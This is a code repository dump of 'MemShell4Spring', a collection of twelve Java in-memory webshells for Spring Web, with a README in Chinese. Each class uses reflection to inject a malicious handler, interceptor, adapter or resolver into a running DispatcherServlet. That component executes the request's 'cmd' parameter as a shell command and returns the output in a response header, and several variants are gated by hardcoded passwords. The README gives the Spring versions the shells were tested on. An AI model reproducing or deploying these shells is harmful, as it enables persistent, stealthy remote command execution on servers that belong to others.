├── No4_HttpRequestHandlerAdapterShell.java ├── No2_ControllerHandlerShell.java ├── No3_SimpleUrlHandlerMappingShell.java ├── No6_WelcomePageHandlerMappingShell.java ├── No10_HandlerInterceptorShell.java ├── README.md ├── No8_HandlerAdapterShell.java ├── No9_MultipartResolverDelegateShell.java ├── No7_HandlerMappingShell.java ├── No12_HandlerExceptionResolverShell.java ├── No5_SimpleServletHandlerAdapterShell.java ├── No11_ViewResolverShell.java └── No1_HandlerMethodShell.java /No4_HttpRequestHandlerAdapterShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import jakarta.servlet.http.HttpServletRequest; 4 | import jakarta.servlet.http.HttpServletResponse; 5 | import org.springframework.web.HttpRequestHandler; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping; 9 | 10 | import java.io.IOException; 11 | import java.io.InputStream; 12 | import java.lang.reflect.Field; 13 | import java.util.Map; 14 | import java.util.Scanner; 15 | 16 | public class No4_HttpRequestHandlerAdapterShell implements HttpRequestHandler { 17 | 18 | public static String injectShell() throws Exception{ 19 | WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 20 | BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class); 21 | Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping"); 22 | Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap"); 23 | field.setAccessible(true); 24 | 25 | Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping); 26 | handlerMap.put("/shell4",new No2_ControllerHandlerShell()); 27 | return "{\"result\":\"No4_HttpRequestHandlerAdapterShell\"}"; 28 | } 29 | 30 | 31 | 32 | @Override 33 | public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException { 34 | if (request.getParameter("cmd") != null) { 35 | boolean isLinux = true; 36 | String osTyp = System.getProperty("os.name"); 37 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 38 | isLinux = false; 39 | } 40 | String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; 41 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 42 | Scanner s = new Scanner(in).useDelimiter("\\A"); 43 | String output = s.hasNext() ? s.next() : ""; 44 | // response.getWriter().write(output); 45 | // response.getWriter().flush(); 46 | // response.getWriter().close(); 47 | response.setHeader("Exec-result", new String(output)); 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /No2_ControllerHandlerShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import jakarta.servlet.http.HttpServletRequest; 4 | import jakarta.servlet.http.HttpServletResponse; 5 | import org.springframework.web.context.WebApplicationContext; 6 | import org.springframework.web.context.request.RequestContextHolder; 7 | import org.springframework.web.servlet.ModelAndView; 8 | import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping; 9 | import org.springframework.web.servlet.mvc.Controller; 10 | 11 | import java.io.InputStream; 12 | import java.util.Scanner; 13 | import java.lang.reflect.Field; 14 | import java.util.Map; 15 | 16 | public class No2_ControllerHandlerShell implements Controller { 17 | 18 | public static String injectShell() throws Exception{ 19 | WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 20 | BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class); 21 | Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping"); 22 | Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap"); 23 | field.setAccessible(true); 24 | 25 | Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping); 26 | handlerMap.put("/shell2",new No2_ControllerHandlerShell()); 27 | return "{\"result\":\"No2_ControllerHandlerShell\"}"; 28 | } 29 | 30 | 31 | 32 | @Override 33 | public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { 34 | if (request.getParameter("cmd") != null) { 35 | boolean isLinux = true; 36 | String osTyp = System.getProperty("os.name"); 37 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 38 | isLinux = false; 39 | } 40 | String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; 41 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 42 | Scanner s = new Scanner(in).useDelimiter("\\A"); 43 | String output = s.hasNext() ? s.next() : ""; 44 | // response.getWriter().write(output); 45 | // response.getWriter().flush(); 46 | // response.getWriter().close(); 47 | response.setHeader("Exec-result", new String(output)); 48 | } 49 | return null; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /No3_SimpleUrlHandlerMappingShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import jakarta.servlet.http.HttpServletRequest; 4 | import jakarta.servlet.http.HttpServletResponse; 5 | import org.springframework.web.context.WebApplicationContext; 6 | import org.springframework.web.context.request.RequestContextHolder; 7 | import org.springframework.web.servlet.ModelAndView; 8 | import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping; 9 | import org.springframework.web.servlet.mvc.Controller; 10 | 11 | import java.io.InputStream; 12 | import java.util.Scanner; 13 | import java.lang.reflect.Field; 14 | import java.util.Map; 15 | 16 | public class No3_SimpleUrlHandlerMappingShell implements Controller { 17 | 18 | public static String injectShell() throws Exception{ 19 | WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 20 | SimpleUrlHandlerMapping simpleUrlHandlerMapping = webApplicationContext.getBean(SimpleUrlHandlerMapping.class); 21 | Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping"); 22 | Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap"); 23 | field.setAccessible(true); 24 | 25 | Map handlerMap = (Map) field.get(simpleUrlHandlerMapping); 26 | handlerMap.put("/shell3",new No2_ControllerHandlerShell()); 27 | return "{\"result\":\"No3_SimpleUrlHandlerMappingShell\"}"; 28 | } 29 | 30 | 31 | 32 | @Override 33 | public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { 34 | if (request.getParameter("cmd") != null) { 35 | boolean isLinux = true; 36 | String osTyp = System.getProperty("os.name"); 37 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 38 | isLinux = false; 39 | } 40 | String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; 41 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 42 | Scanner s = new Scanner(in).useDelimiter("\\A"); 43 | String output = s.hasNext() ? s.next() : ""; 44 | // response.getWriter().write(output); 45 | // response.getWriter().flush(); 46 | // response.getWriter().close(); 47 | response.setHeader("Exec-result", new String(output)); 48 | } 49 | return null; 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /No6_WelcomePageHandlerMappingShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.utils.Util; 4 | import jakarta.servlet.http.HttpServletRequest; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import org.springframework.web.servlet.DispatcherServlet; 7 | import org.springframework.web.servlet.HandlerMapping; 8 | import org.springframework.web.servlet.ModelAndView; 9 | import org.springframework.web.servlet.mvc.Controller; 10 | 11 | import java.io.InputStream; 12 | import java.util.List; 13 | import java.util.Scanner; 14 | import java.lang.reflect.Field; 15 | import java.util.Map; 16 | 17 | public class No6_WelcomePageHandlerMappingShell implements Controller { 18 | 19 | public static String injectShell() throws Exception{ 20 | DispatcherServlet servlet = new Util().getServlet(); 21 | List handlerMappings = (List) Util.getFieldValue(servlet,"handlerMappings"); 22 | HandlerMapping welcomePageHandlerMapping = null; 23 | for (HandlerMapping handlerMapping : handlerMappings) { 24 | if (handlerMapping.toString().startsWith("org.springframework.boot.autoconfigure.web.servlet.WelcomePageHandlerMapping")) { 25 | welcomePageHandlerMapping = handlerMapping; 26 | } 27 | } 28 | 29 | Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping"); 30 | Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap"); 31 | field.setAccessible(true); 32 | Map handlerMap = (Map) field.get(welcomePageHandlerMapping); 33 | handlerMap.put("/shell6",new No2_ControllerHandlerShell()); 34 | return "{\"result\":\"No6_WelcomePageHandlerMappingShell\"}"; 35 | } 36 | 37 | @Override 38 | public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { 39 | if (request.getParameter("cmd") != null) { 40 | boolean isLinux = true; 41 | String osTyp = System.getProperty("os.name"); 42 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 43 | isLinux = false; 44 | } 45 | String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; 46 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 47 | Scanner s = new Scanner(in).useDelimiter("\\A"); 48 | String output = s.hasNext() ? s.next() : ""; 49 | // response.getWriter().write(output); 50 | // response.getWriter().flush(); 51 | // response.getWriter().close(); 52 | response.setHeader("Exec-result", new String(output)); 53 | } 54 | return null; 55 | } 56 | } 57 | 58 | -------------------------------------------------------------------------------- /No10_HandlerInterceptorShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.utils.Util; 4 | import jakarta.servlet.http.HttpServletRequest; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.servlet.HandlerInterceptor; 9 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 10 | 11 | import java.io.IOException; 12 | import java.io.InputStream; 13 | import java.util.List; 14 | import java.util.Scanner; 15 | 16 | public class No10_HandlerInterceptorShell implements HandlerInterceptor { 17 | 18 | public static String injectShell() throws IllegalAccessException { 19 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 20 | RequestMappingHandlerMapping mappingHandlerMapping = (RequestMappingHandlerMapping) context.getBean("requestMappingHandlerMapping"); 21 | List adaptedInterceptors = (List) Util.getFieldValue(mappingHandlerMapping,"adaptedInterceptors"); 22 | adaptedInterceptors.add(new No10_HandlerInterceptorShell()); 23 | 24 | // for (HandlerInterceptor adaptedInterceptor : adaptedInterceptors) { 25 | // System.out.println(adaptedInterceptor); 26 | // } 27 | return "{\"result\":\"No10_HandlerInterceptorShell\"}"; 28 | } 29 | 30 | @Override 31 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 32 | String passwd = request.getParameter("pass"); 33 | String cmd = request.getParameter("cmd"); 34 | if (passwd!=null && cmd!=null && passwd.equals("shell10") && !cmd.isEmpty()){ 35 | try { 36 | boolean islinux = true; 37 | String osType = System.getProperty("os.name"); 38 | if (osType !=null && osType.toLowerCase().contains("win")){ 39 | islinux = false; 40 | } 41 | String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")}; 42 | InputStream in = null; 43 | in = Runtime.getRuntime().exec(cmds).getInputStream(); 44 | Scanner s = new Scanner(in).useDelimiter("\\A"); 45 | String output = s.hasNext() ? s.next() : ""; 46 | // response.setHeader("Exec-result",new String(Base64.getEncoder().encode(output.getBytes()))); 47 | response.setHeader("Exec-result",new String(output)); 48 | } catch (IOException e) { 49 | throw new RuntimeException(e); 50 | } 51 | } 52 | return HandlerInterceptor.super.preHandle(request, response, handler); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![MemShell4Spring logo picture](https://laughing-markdown-pics.oss-cn-shenzhen.aliyuncs.com/20231227204819.png) 2 | 3 | # Memory Webshell for Spring Web 4 | 5 | 适用于 Spring Web 的内存马。 6 | 7 | ## 🐎 Webshell 概览 8 | 9 | 1. HandlerMethodShell 10 | 2. ControllerHandlerShell 11 | 3. SimpleUrlHandlerMappingShell 12 | 4. HttpRequestHandlerAdapterShell 13 | 5. SimpleServletHandlerAdapterShell 14 | 6. WelcomePageHandlerMappingShell 15 | 7. HandlerMappingShell 16 | 8. HandlerAdapterShell 17 | 9. MultipartResolverDelegateShell 18 | 10. HandlerInterceptorShell 19 | 11. ViewResolverShell 20 | 12. HandlerExceptionResolverShell 21 | 22 | ## 🔍 使用说明 23 | 24 | 待补充。 25 | 26 | ## 👌 测试版本 27 | 28 | ### 本地文件落地注入测试 29 | 30 | | Tested | JDK | spring-boot | spring-framework | 31 | | :----: | :-------: | :----------------------------------------------------------: | :----------------------------------------------------------: | 32 | | ✔ | JDK 17 | [3.1.5](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web/3.1.5) | [6.0.13](https://github.com/spring-projects/spring-framework/tree/v6.0.13) | 33 | | ✔ | JDK 17 | [3.2.0](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web/3.2.0) | [6.1.1](https://github.com/spring-projects/spring-framework/tree/v6.1.1) | 34 | | ✔ | JDK 8_102 | [2.5.15](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web/2.5.15) | [5.3.27](https://github.com/spring-projects/spring-framework/tree/v5.3.27) | 35 | | ✖ | JDK 8_102 | [2.3.6](https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web/2.3.6.RELEASE) | [5.2.11](https://github.com/spring-projects/spring-framework/tree/v5.2.11.RELEASE) | 36 | 37 | ### Jakarta 命名空间问题 38 | 39 | 由于 Jakarta 命名空间的问题导致低版本(5.3.x)的 Spring Framework 使用本项目会出现 Jakarta 相关的报错。理论上本项目适配 6.0.x - 6.2.x 之后的版本。 40 | 41 | > Java/Jakarta EE Versions and JDK Version Range 42 | > 43 | > - Spring Framework 6.2.x: Jakarta EE 9-11 (jakarta namespace): JDK 17-25 (expected) 44 | > - Spring Framework 6.1.x: Jakarta EE 9-10 (jakarta namesp ace): JDK 17-23 45 | > - Spring Framework 6.0.x: Jakarta EE 9-10 (jakarta namespace): JDK 17-21 46 | > - Spring Framework 5.3.x: Java EE 7-8 (javax namespace): JDK 8-21 (as of 5.3.26) 47 | 48 | 所以假如需要在低于 5.3.x 的 Spring Framework 使用,修改 import 即可。 49 | 50 | ```java 51 | < 5.3.x 52 | import javax.servlet.http.HttpServletRequest; 53 | import javax.servlet.http.HttpServletResponse; 54 | 55 | > 5.3.x 56 | import jakarta.servlet.http.HttpServletRequest; 57 | import jakarta.servlet.http.HttpServletResponse; 58 | ``` 59 | 60 | ### 低于 v5.3.0-M1 问题 61 | 62 | 由于 v5.3.0 以前的代码相差较大,导致以下几个内存马不可用,需要重新评估: 63 | 64 | - No1_HandlerMethodShell 65 | - No6_WelcomePageHandlerMappingShell 66 | - No7_HandlerMappingShell 67 | - No12_HandlerExceptionResolverShell 68 | 69 | ## 📒 Todo 70 | 71 | - [ ] 解决 5.3.x 的报错问题; 72 | - [ ] 完成无文件注入测试; 73 | - [ ] 低于 v5.3.0-M1 的适配; 74 | - [ ] 完善使用说明文档; 75 | -------------------------------------------------------------------------------- /No8_HandlerAdapterShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.utils.Util; 4 | import jakarta.servlet.http.HttpServletRequest; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import org.springframework.web.servlet.DispatcherServlet; 7 | import org.springframework.web.servlet.HandlerAdapter; 8 | import org.springframework.web.servlet.ModelAndView; 9 | 10 | import java.io.InputStream; 11 | import java.util.List; 12 | import java.util.Scanner; 13 | 14 | public class No8_HandlerAdapterShell implements HandlerAdapter { 15 | List handlerAdapters; 16 | 17 | public No8_HandlerAdapterShell(List handlerAdapters) { 18 | this.handlerAdapters = handlerAdapters; 19 | } 20 | 21 | public static String injectShell() throws Exception{ 22 | DispatcherServlet servlet = new Util().getServlet(); 23 | List handlerAdapters = (List) Util.getFieldValue(servlet,"handlerAdapters"); 24 | handlerAdapters.add(0,new No8_HandlerAdapterShell(handlerAdapters)); 25 | 26 | return "{\"result\":\"No8_HandlerAdapterShell\"}"; 27 | } 28 | 29 | @Override 30 | public boolean supports(Object handler) { 31 | return true; 32 | } 33 | 34 | @Override 35 | public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 36 | String passwd = request.getParameter("pass"); 37 | String cmd = request.getParameter("cmd"); 38 | if (passwd!=null && cmd!=null && passwd.equals("shell8") && !cmd.isEmpty()){ 39 | boolean islinux = true; 40 | String osType = System.getProperty("os.name"); 41 | if (osType !=null && osType.toLowerCase().contains("win")){ 42 | islinux = false; 43 | } 44 | String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")}; 45 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 46 | Scanner s = new Scanner(in).useDelimiter("\\A"); 47 | String output = s.hasNext() ? s.next() : ""; 48 | // response.getWriter().write(output); 49 | // response.getWriter().flush(); 50 | // response.getWriter().close(); 51 | response.setHeader("Exec-result", new String(output)); 52 | return null; 53 | } 54 | // 重新找到适配的handlerAdpapter,相当于做了一层代理?? 55 | for(HandlerAdapter handlerAdapter:this.handlerAdapters){ 56 | if(!(handlerAdapter instanceof No8_HandlerAdapterShell) && handlerAdapter.supports(handler)){ 57 | return handlerAdapter.handle(request,response,handler); 58 | } 59 | } 60 | 61 | return null; 62 | } 63 | 64 | // 模仿SimpleControllerHandlerAdapter的getLastModified方法 65 | @Override 66 | public long getLastModified(HttpServletRequest request, Object handler) { 67 | for(HandlerAdapter handlerAdapter:this.handlerAdapters){ 68 | if(!(handlerAdapter instanceof No8_HandlerAdapterShell) && handlerAdapter.supports(handler)){ 69 | return handlerAdapter.getLastModified(request,handler); 70 | } 71 | } 72 | return 0; 73 | } 74 | } 75 | 76 | -------------------------------------------------------------------------------- /No9_MultipartResolverDelegateShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.utils.Util; 4 | import jakarta.servlet.http.HttpServletRequest; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import org.springframework.web.context.request.RequestContextHolder; 7 | import org.springframework.web.context.request.ServletRequestAttributes; 8 | import org.springframework.web.multipart.MultipartException; 9 | import org.springframework.web.multipart.MultipartHttpServletRequest; 10 | import org.springframework.web.multipart.MultipartResolver; 11 | import org.springframework.web.servlet.DispatcherServlet; 12 | 13 | import java.io.IOException; 14 | import java.io.InputStream; 15 | import java.lang.reflect.Field; 16 | import java.util.Scanner; 17 | 18 | public class No9_MultipartResolverDelegateShell implements MultipartResolver { 19 | private MultipartResolver resolverDelegate; 20 | 21 | public No9_MultipartResolverDelegateShell(){ 22 | } 23 | 24 | public No9_MultipartResolverDelegateShell(MultipartResolver resolverDelegate){ 25 | this.resolverDelegate = resolverDelegate; 26 | } 27 | 28 | public static String injectShell() throws Exception { 29 | DispatcherServlet servlet = new Util().getServlet(); 30 | Field field = Util.getField(DispatcherServlet.class,"multipartResolver"); 31 | MultipartResolver multipartResolver = (MultipartResolver) field.get(servlet); 32 | No9_MultipartResolverDelegateShell multipartResolverDelegateShell = new No9_MultipartResolverDelegateShell(multipartResolver); 33 | field.set(servlet,multipartResolverDelegateShell); 34 | return "{\"result\":\"No9_MultipartResolverDelegateShell\"}"; 35 | } 36 | 37 | @Override 38 | public boolean isMultipart(HttpServletRequest request) { 39 | String passwd = request.getParameter("pass"); 40 | String cmd = request.getParameter("cmd"); 41 | if (passwd!=null && cmd!=null && passwd.equals("shell9") && !cmd.isEmpty()){ 42 | try { 43 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 44 | boolean islinux = true; 45 | String osType = System.getProperty("os.name"); 46 | if (osType !=null && osType.toLowerCase().contains("win")){ 47 | islinux = false; 48 | } 49 | String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")}; 50 | InputStream in = null; 51 | in = Runtime.getRuntime().exec(cmds).getInputStream(); 52 | Scanner s = new Scanner(in).useDelimiter("\\A"); 53 | String output = s.hasNext() ? s.next() : ""; 54 | // response.setHeader("Exec-result",new String(Base64.getEncoder().encode(output.getBytes()))); 55 | response.setHeader("Exec-result",new String(output)); 56 | } catch (IOException e) { 57 | throw new RuntimeException(e); 58 | } 59 | } 60 | if(this.resolverDelegate != null){ 61 | return this.resolverDelegate.isMultipart(request); 62 | } 63 | return false; 64 | } 65 | 66 | @Override 67 | public MultipartHttpServletRequest resolveMultipart(HttpServletRequest request) throws MultipartException { 68 | return null; 69 | } 70 | 71 | @Override 72 | public void cleanupMultipart(MultipartHttpServletRequest request) { 73 | 74 | } 75 | 76 | } 77 | 78 | -------------------------------------------------------------------------------- /No7_HandlerMappingShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.utils.Util; 4 | import jakarta.servlet.http.HttpServletRequest; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import org.springframework.web.servlet.*; 7 | 8 | import java.io.IOException; 9 | import java.io.InputStream; 10 | import java.util.List; 11 | import java.util.Scanner; 12 | 13 | public class No7_HandlerMappingShell implements HandlerMapping { 14 | HandlerExecutionChain chain; 15 | public No7_HandlerMappingShell(){ 16 | chain = new HandlerExecutionChain(new com.example.springshell.memshell.No7_HandlerMappingShell.MyHandler()); 17 | } 18 | 19 | public static String injectShell() throws Exception{ 20 | DispatcherServlet servlet = new Util().getServlet(); 21 | List handlerAdapters = (List) Util.getFieldValue(servlet,"handlerAdapters"); 22 | handlerAdapters.add(new com.example.springshell.memshell.No7_HandlerMappingShell.MyHandlerAdapter()); 23 | List handlerMappings = (List) Util.getFieldValue(servlet,"handlerMappings"); 24 | handlerMappings.add(0,new com.example.springshell.memshell.No7_HandlerMappingShell()); 25 | return "{\"result\":\"No7_HandlerMappingShell\"}"; 26 | } 27 | 28 | @Override 29 | public boolean usesPathPatterns() { 30 | return HandlerMapping.super.usesPathPatterns(); 31 | } 32 | 33 | // 任何路径,或者写的任意构造 34 | @Override 35 | public HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { 36 | String passwd = request.getParameter("pass"); 37 | String cmd = request.getParameter("cmd"); 38 | if(passwd!=null && cmd!=null && passwd.equals("shell7") && !cmd.isEmpty()){ 39 | return chain; 40 | } 41 | return null; 42 | } 43 | 44 | static class MyHandlerAdapter implements HandlerAdapter { 45 | @Override 46 | public boolean supports(Object handler) { 47 | return handler instanceof com.example.springshell.memshell.No7_HandlerMappingShell.MyHandler; 48 | } 49 | 50 | @Override 51 | public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 52 | ((com.example.springshell.memshell.No7_HandlerMappingShell.MyHandler)handler).handle(request,response); 53 | return null; 54 | } 55 | 56 | @Override 57 | public long getLastModified(HttpServletRequest request, Object handler) { 58 | return 0; 59 | } 60 | } 61 | 62 | class MyHandler{ 63 | public void handle(HttpServletRequest request,HttpServletResponse response) throws IOException, IOException { 64 | if (request.getParameter("cmd") !=null) { 65 | boolean islinux = true; 66 | String osType = System.getProperty("os.name"); 67 | if (osType !=null && osType.toLowerCase().contains("win")){ 68 | islinux = false; 69 | } 70 | String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")}; 71 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 72 | Scanner s = new Scanner(in).useDelimiter("\\A"); 73 | String output = s.hasNext() ? s.next() : ""; 74 | // response.getWriter().write(output); 75 | // response.getWriter().flush(); 76 | // response.getWriter().close(); 77 | response.setHeader("Exec-result", new String(output)); 78 | } 79 | } 80 | } 81 | 82 | } -------------------------------------------------------------------------------- /No12_HandlerExceptionResolverShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.Index; 4 | import com.example.springshell.utils.Util; 5 | import jakarta.servlet.http.HttpServletRequest; 6 | import jakarta.servlet.http.HttpServletResponse; 7 | import org.springframework.web.context.WebApplicationContext; 8 | import org.springframework.web.context.request.RequestContextHolder; 9 | import org.springframework.web.servlet.DispatcherServlet; 10 | import org.springframework.web.servlet.HandlerExceptionResolver; 11 | import org.springframework.web.servlet.ModelAndView; 12 | import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping; 13 | 14 | import java.io.IOException; 15 | import java.io.InputStream; 16 | import java.lang.reflect.Field; 17 | import java.util.List; 18 | import java.util.Map; 19 | import java.util.Scanner; 20 | 21 | // 此内存马命令执行一次控制台就会至少报错两次,其中一次会直接暴露此恶意类名称,慎用 22 | // 实际业务中可能不会报错,不报错则注入则无法使用 23 | public class No12_HandlerExceptionResolverShell implements HandlerExceptionResolver { 24 | public static String injectShell() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { 25 | WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 26 | BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class); 27 | Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping"); 28 | Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap"); 29 | field.setAccessible(true); 30 | 31 | // 因为 put 的对象没实现 Controller 接口,所以没有默认的 Adapter 可以处理,导致报错 No adapter for handler ,最后进入处理报错的分支处理 HandlerExceptionResolver 32 | Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping); 33 | handlerMap.put("/shell12",new Index()); 34 | 35 | DispatcherServlet servlet = new Util().getServlet(); 36 | List handlerExceptionResolvers = (List) Util.getFieldValue(servlet,"handlerExceptionResolvers"); 37 | handlerExceptionResolvers.add(0,new No12_HandlerExceptionResolverShell()); 38 | 39 | // for (HandlerExceptionResolver handlerExceptionResolver : handlerExceptionResolvers) { 40 | // System.out.println(handlerExceptionResolver); 41 | // } 42 | 43 | return "{\"result\":\"No12_HandlerExceptionResolverShell\"}"; 44 | } 45 | 46 | @Override 47 | public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) { 48 | String cmd = request.getParameter("cmd"); 49 | if (cmd!=null && !cmd.isEmpty()){ 50 | try { 51 | boolean islinux = true; 52 | String osType = System.getProperty("os.name"); 53 | if (osType != null && osType.toLowerCase().contains("win")) { 54 | islinux = false; 55 | } 56 | String[] cmds = islinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; 57 | InputStream in = null; 58 | in = Runtime.getRuntime().exec(cmds).getInputStream(); 59 | Scanner s = new Scanner(in).useDelimiter("\\A"); 60 | String output = s.hasNext() ? s.next() : ""; 61 | // response.setHeader("Exec-result",new String(Base64.getEncoder().encode(output.getBytes()))); 62 | response.setHeader("Exec-result", new String(output)); 63 | } catch (IOException e) { 64 | throw new RuntimeException(e); 65 | } 66 | } 67 | return null; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /No5_SimpleServletHandlerAdapterShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.utils.Util; 4 | import jakarta.servlet.*; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.servlet.DispatcherServlet; 9 | import org.springframework.web.servlet.HandlerAdapter; 10 | import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping; 11 | import org.springframework.web.servlet.handler.SimpleServletHandlerAdapter; 12 | 13 | import java.io.IOException; 14 | import java.io.InputStream; 15 | import java.lang.reflect.Field; 16 | import java.util.List; 17 | import java.util.Map; 18 | import java.util.Scanner; 19 | 20 | public class No5_SimpleServletHandlerAdapterShell implements Servlet { 21 | public static String injectShell() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { 22 | WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 23 | BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class); 24 | // 添加handlerAdapter 25 | DispatcherServlet servlet = new Util().getServlet(); 26 | List handlerAdapters = (List) Util.getFieldValue(servlet,"handlerAdapters"); 27 | boolean hasSimpleServletHandlerAdapter = false; 28 | for(HandlerAdapter adapter:handlerAdapters){ 29 | if(adapter instanceof SimpleServletHandlerAdapter){ 30 | hasSimpleServletHandlerAdapter = true; 31 | break; 32 | } 33 | } 34 | if(!hasSimpleServletHandlerAdapter){ 35 | handlerAdapters.add(new SimpleServletHandlerAdapter()); 36 | } 37 | 38 | // 添加handler 39 | Class abstractUrlHandlerMapping = 